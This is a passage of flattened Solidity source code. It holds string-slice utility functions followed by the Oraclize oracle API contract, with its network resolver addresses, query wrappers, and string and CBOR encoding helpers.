needlelen); while (ptr >= selfptr) { bytes32 testHash; assembly { testHash := sha3(ptr, needlelen) } if (hash == testHash) return ptr + needlelen; ptr -= 1; } } } return selfptr; } /* * @dev Modifies `self` to contain everything from the first occurrence of * `needle` to the end of the slice. `self` is set to the empty slice * if `needle` is not found. * @param self The slice to search and modify. * @param needle The text to search for. * @return `self`. */ function find(slice self, slice needle) internal pure returns (slice) { uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr); self._len -= ptr - self._ptr; self._ptr = ptr; return self; } /* * @dev Modifies `self` to contain the part of the string from the start of * `self` to the end of the first occurrence of `needle`. If `needle` * is not found, `self` is set to the empty slice. * @param self The slice to search and modify. * @param needle The text to search for. * @return `self`. */ function rfind(slice self, slice needle) internal pure returns (slice) { uint ptr = rfindPtr(self._len, self._ptr, needle._len, needle._ptr); self._len = ptr - self._ptr; return self; } /* * @dev Splits the slice, setting `self` to everything after the first * occurrence of `needle`, and `token` to everything before it. If * `needle` does not occur in `self`, `self` is set to the empty slice, * and `token` is set to the entirety of `self`. * @param self The slice to split. * @param needle The text to search for in `self`. * @param token An output parameter to which the first token is written. * @return `token`. */ function split(slice self, slice needle, slice token) internal pure returns (slice) { uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr); token._ptr = self._ptr; token._len = ptr - self._ptr; if (ptr == self._ptr + self._len) { // Not found self._len = 0; } else { self._len -= token._len + needle._len; self._ptr = ptr + needle._len; } return token; } /* * @dev Splits the slice, setting `self` to everything after the first * occurrence of `needle`, and returning everything before it. If * `needle` does not occur in `self`, `self` is set to the empty slice, * and the entirety of `self` is returned. * @param self The slice to split. * @param needle The text to search for in `self`. * @return The part of `self` up to the first occurrence of `delim`. */ function split(slice self, slice needle) internal pure returns (slice token) { split(self, needle, token); } /* * @dev Splits the slice, setting `self` to everything before the last * occurrence of `needle`, and `token` to everything after it. If * `needle` does not occur in `self`, `self` is set to the empty slice, * and `token` is set to the entirety of `self`. * @param self The slice to split. * @param needle The text to search for in `self`. * @param token An output parameter to which the first token is written. * @return `token`. */ function rsplit(slice self, slice needle, slice token) internal pure returns (slice) { uint ptr = rfindPtr(self._len, self._ptr, needle._len, needle._ptr); token._ptr = ptr; token._len = self._len - (ptr - self._ptr); if (ptr == self._ptr) { // Not found self._len = 0; } else { self._len -= token._len + needle._len; } return token; } /* * @dev Splits the slice, setting `self` to everything before the last * occurrence of `needle`, and returning everything after it. If * `needle` does not occur in `self`, `self` is set to the empty slice, * and the entirety of `self` is returned. * @param self The slice to split. * @param needle The text to search for in `self`. * @return The part of `self` after the last occurrence of `delim`. */ function rsplit(slice self, slice needle) internal pure returns (slice token) { rsplit(self, needle, token); } /* * @dev Counts the number of nonoverlapping occurrences of `needle` in `self`. * @param self The slice to search. * @param needle The text to search for in `self`. * @return The number of occurrences of `needle` found in `self`. */ function count(slice self, slice needle) internal pure returns (uint cnt) { uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr) + needle._len; while (ptr <= self._ptr + self._len) { cnt++; ptr = findPtr(self._len - (ptr - self._ptr), ptr, needle._len, needle._ptr) + needle._len; } } /* * @dev Returns True if `self` contains `needle`. * @param self The slice to search. * @param needle The text to search for in `self`. * @return True if `needle` is found in `self`, false otherwise. */ function contains(slice self, slice needle) internal pure returns (bool) { return rfindPtr(self._len, self._ptr, needle._len, needle._ptr) != self._ptr; } /* * @dev Returns a newly allocated string containing the concatenation of * `self` and `other`. * @param self The first slice to concatenate. * @param other The second slice to concatenate. * @return The concatenation of the two strings. */ function concat(slice self, slice other) internal pure returns (string) { string memory ret = new string(self._len + other._len); uint retptr; assembly { retptr := add(ret, 32) } memcpy(retptr, self._ptr, self._len); memcpy(retptr + self._len, other._ptr, other._len); return ret; } /* * @dev Joins an array of slices, using `self` as a delimiter, returning a * newly allocated string. * @param self The delimiter to use. * @param parts A list of slices to join. * @return A newly allocated string containing all the slices in `parts`, * joined with `self`. */ function join(slice self, slice[] parts) internal pure returns (string) { if (parts.length == 0) return ""; uint length = self._len * (parts.length - 1); for(uint i = 0; i < parts.length; i++) length += parts[i]._len; string memory ret = new string(length); uint retptr; assembly { retptr := add(ret, 32) } for(i = 0; i < parts.length; i++) { memcpy(retptr, parts[i]._ptr, parts[i]._len); retptr += parts[i]._len; if (i < parts.length - 1) { memcpy(retptr, self._ptr, self._len); retptr += self._len; } } return ret; } } // File: contracts/usingOraclize.sol // <ORACLIZE_API> /* Copyright (c) 2015-2016 Oraclize SRL Copyright (c) 2016 Oraclize LTD Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ // This api is currently targeted at 0.4.18, please import oraclizeAPI_pre0.4.sol or oraclizeAPI_0.4 where necessary pragma solidity ^0.4.18; contract OraclizeI { address public cbAddress; function query(uint _timestamp, string _datasource, string _arg) external payable returns (bytes32 _id); function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) external payable returns (bytes32 _id); function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) public payable returns (bytes32 _id); function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) external payable returns (bytes32 _id); function queryN(uint _timestamp, string _datasource, bytes _argN) public payable returns (bytes32 _id); function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) external payable returns (bytes32 _id); function getPrice(string _datasource) public returns (uint _dsprice); function getPrice(string _datasource, uint gaslimit) public returns (uint _dsprice); function setProofType(byte _proofType) external; function setCustomGasPrice(uint _gasPrice) external; function randomDS_getSessionPubKeyHash() external constant returns(bytes32); } contract OraclizeAddrResolverI { function getAddress() public returns (address _addr); } contract usingOraclize { uint constant day = 60*60*24; uint constant week = 60*60*24*7; uint constant month = 60*60*24*30; byte constant proofType_NONE = 0x00; byte constant proofType_TLSNotary = 0x10; byte constant proofType_Android = 0x20; byte constant proofType_Ledger = 0x30; byte constant proofType_Native = 0xF0; byte constant proofStorage_IPFS = 0x01; uint8 constant networkID_auto = 0; uint8 constant networkID_mainnet = 1; uint8 constant networkID_testnet = 2; uint8 constant networkID_morden = 2; uint8 constant networkID_consensys = 161; OraclizeAddrResolverI OAR; OraclizeI oraclize; modifier oraclizeAPI { if((address(OAR)==0)||(getCodeSize(address(OAR))==0)) oraclize_setNetwork(networkID_auto); if(address(oraclize) != OAR.getAddress()) oraclize = OraclizeI(OAR.getAddress()); _; } modifier coupon(string code){ oraclize = OraclizeI(OAR.getAddress()); _; } function oraclize_setNetwork(uint8 networkID) internal returns(bool){ return oraclize_setNetwork(); networkID; // silence the warning and remain backwards compatible } function oraclize_setNetwork() internal returns(bool){ if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){ //mainnet OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed); oraclize_setNetworkName("eth_mainnet"); return true; } if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){ //ropsten testnet OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1); oraclize_setNetworkName("eth_ropsten3"); return true; } if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){ //kovan testnet OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e); oraclize_setNetworkName("eth_kovan"); return true; } if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){ //rinkeby testnet OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48); oraclize_setNetworkName("eth_rinkeby"); return true; } if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){ //ethereum-bridge OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475); return true; } if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){ //ether.camp ide OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF); return true; } if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){ //browser-solidity OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA); return true; } return false; } function __callback(bytes32 myid, string result) public { __callback(myid, result, new bytes(0)); } function __callback(bytes32 myid, string result, bytes proof) public { return; myid; result; proof; // Silence compiler warnings } function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource); } function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource, gaslimit); } function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query.value(price)(0, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query.value(price)(timestamp, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query2.value(price)(0, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(0, datasource, args); } function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(timestamp, datasource, args); } function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); } function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit); } function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN.value(price)(0, datasource, args); } function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN.value(price)(timestamp, datasource, args); } function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); } function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit); } function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_cbAddress() oraclizeAPI internal returns (address){ return oraclize.cbAddress(); } function oraclize_setProof(byte proofP) oraclizeAPI internal { return oraclize.setProofType(proofP); } function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal { return oraclize.setCustomGasPrice(gasPrice); } function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){ return oraclize.randomDS_getSessionPubKeyHash(); } function getCodeSize(address _addr) constant internal returns(uint _size) { assembly { _size := extcodesize(_addr) } } function parseAddr(string _a) internal pure returns (address){ bytes memory tmp = bytes(_a); uint160 iaddr = 0; uint160 b1; uint160 b2; for (uint i=2; i<2+2*20; i+=2){ iaddr *= 256; b1 = uint160(tmp[i]); b2 = uint160(tmp[i+1]); if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87; else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55; else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48; if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87; else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55; else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48; iaddr += (b1*16+b2); } return address(iaddr); } function strCompare(string _a, string _b) internal pure returns (int) { bytes memory a = bytes(_a); bytes memory b = bytes(_b); uint minLength = a.length; if (b.length < minLength) minLength = b.length; for (uint i = 0; i < minLength; i ++) if (a[i] < b[i]) return -1; else if (a[i] > b[i]) return 1; if (a.length < b.length) return -1; else if (a.length > b.length) return 1; else return 0; } function indexOf(string _haystack, string _needle) internal pure returns (int) { bytes memory h = bytes(_haystack); bytes memory n = bytes(_needle); if(h.length < 1 || n.length < 1 || (n.length > h.length)) return -1; else if(h.length > (2**128 -1)) return -1; else { uint subindex = 0; for (uint i = 0; i < h.length; i ++) { if (h[i] == n[0]) { subindex = 1; while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex]) { subindex++; } if(subindex == n.length) return int(i); } } return -1; } } function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) { bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); bytes memory _bc = bytes(_c); bytes memory _bd = bytes(_d); bytes memory _be = bytes(_e); string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); bytes memory babcde = bytes(abcde); uint k = 0; for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i]; for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i]; for (i = 0; i < _be.length; i++) babcde[k++] = _be[i]; return string(babcde); } function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) { return strConcat(_a, _b, _c, _d, ""); } function strConcat(string _a, string _b, string _c) internal pure returns (string) { return strConcat(_a, _b, _c, "", ""); } function strConcat(string _a, string _b) internal pure returns (string) { return strConcat(_a, _b, "", "", ""); } // parseInt function parseInt(string _a) internal pure returns (uint) { return parseInt(_a, 0); } // parseInt(parseFloat*10^_b) function parseInt(string _a, uint _b) internal pure returns (uint) { bytes memory bresult = bytes(_a); uint mint = 0; bool decimals = false; for (uint i=0; i<bresult.length; i++){ if ((bresult[i] >= 48)&&(bresult[i] <= 57)){ if (decimals){ if (_b == 0) break; else _b--; } mint *= 10; mint += uint(bresult[i]) - 48; } else if (bresult[i] == 46) decimals = true; } if (_b > 0) mint *= 10**_b; return mint; } function uint2str(uint i) internal pure returns (string){ if (i == 0) return "0"; uint j = i; uint len; while (j != 0){ len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (i != 0){ bstr[k--] = byte(48 + i % 10); i /= 10; } return string(bstr); } function stra2cbor(string[] arr) internal pure returns (bytes) { uint arrlen = arr.length; // get correct cbor output length uint outputlen = 0; bytes[] memory elemArray = new bytes[](arrlen); for (uint i = 0; i < arrlen; i++) { elemArray[i] = (bytes(arr[i])); outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3; //+3 accounts for paired identifier types } uint ctr = 0; uint cborlen = arrlen + 0x80; outputlen += byte(cborlen).length; bytes memory res = new bytes(outputlen); while (byte(cborlen).length > ctr) { res[ctr] = byte(cborlen)[ctr]; ctr++; } for (i = 0; i < arrlen; i++) { res[ctr] = 0x5F; ctr++; for (uint x = 0; x < elemArray[i].length; x++) { // if there's a bug with larger strings, this may be the culprit if (x % 23 == 0) { uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x; elemcborlen += 0x40; uint lctr = ctr; while (byte(elemcborlen).length > ctr - lctr) { res[ctr] = byte(elemcborlen)[ctr - lctr]; ctr++; } } res[ctr] = elemArray[i][x]; ctr++; } res[ctr] = 0xFF; ctr++; } return res; } function ba2cbor(bytes[] arr) internal pure returns (bytes) { uint arrlen = arr.length; // get correct cbor output length uint outputlen = 0; bytes[] memory elemArray = new bytes[](arrlen); for (uint i = 0; i < arrlen; i++) { elemArray[i] = (bytes(arr[i])); outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3; //+3 accounts for paired identifier types } uint ctr = 0; uint cborlen = arrlen + 0x80; outputlen += byte(cborlen).length; bytes memory res = new bytes(outputlen); while (byte(cborlen).length > ctr) { res[ctr] = byte(cborlen)[ctr]; ctr++; } for (i 